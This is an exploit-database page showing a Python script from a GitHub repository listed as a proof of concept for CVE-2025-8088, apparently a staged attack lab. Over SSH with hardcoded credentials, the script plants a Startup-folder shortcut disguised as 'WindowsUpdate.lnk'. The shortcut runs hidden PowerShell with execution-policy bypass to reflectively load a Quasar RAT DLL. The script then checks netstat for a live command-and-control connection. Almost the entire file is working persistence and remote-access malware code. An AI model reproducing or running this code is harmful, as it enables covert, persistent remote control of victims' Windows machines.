Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/fix_lnk2.py

Python · 2,501 bytes
import paramiko, time

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)

# Use here-string to prevent $null expansion
fix = (
    "$args = @'\n"
    "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "
    '"'
    "[Reflection.Assembly]::LoadFrom('C:\\Users\\Public\\QuasarPayload.dll')."
    "EntryPoint.Invoke(`$null,([string[]]@()))"
    '"'
    "\n'@\n"
    "$ws=New-Object -ComObject WScript.Shell\n"
    "$s=$ws.CreateShortcut(\"C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk\")\n"
    "$s.TargetPath=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"\n"
    "$s.Arguments=$args\n"
    "$s.Save()\n"
    "Write-Host \"OK: \" $args"
)

sftp = ssh.open_sftp()
with sftp.open('C:\\Users\\Public\\fix_lnk2.ps1', 'w') as f:
    f.write(fix)
sftp.close()

stdin,stdout,stderr = ssh.exec_command(
    'powershell -ExecutionPolicy Bypass -File "C:\\Users\\Public\\fix_lnk2.ps1"', timeout=10)
out = stdout.read().decode('gbk', errors='replace').strip()
print('Fix result:', out[:300])

# Verify LNK
stdin,stdout,stderr = ssh.exec_command(
    r'''powershell -c "$ws=New-Object -ComObject WScript.Shell;$s=$ws.CreateShortcut('C:\Users\lewis\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk');Write-Host $s.Arguments"''',
    timeout=10)
lnk = stdout.read().decode('gbk', errors='replace').strip()
print('LNK args:', lnk[:300])
print('CORRECT' if '$null' in lnk else 'STILL BROKEN')

if '$null' in lnk:
    # Test manually
    ssh.exec_command('taskkill /f /im powershell.exe 2>nul')
    time.sleep(1)
    channel = ssh.get_transport().open_session()
    channel.settimeout(60)
    channel.exec_command(
        'start /B "" "C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk"'
    )
    time.sleep(25)
    
    stdin,stdout,stderr = ssh.exec_command('tasklist /FI "IMAGENAME eq powershell.exe" 2>nul', timeout=5)
    r = stdout.read().decode('gbk', errors='replace')
    print('PS:', 'RUNNING' if 'powershell.exe' in r else 'NOT FOUND')
    
    stdin,stdout,stderr = ssh.exec_command('netstat -ano | findstr "4782" | findstr "ESTABLISHED"', timeout=5)
    c2 = stdout.read().decode('gbk', errors='replace').strip()
    print('C2:', c2[:200] if c2 else 'NONE')
    if c2: print('*** LNK PATH C2 CONNECTED! ***')

ssh.close()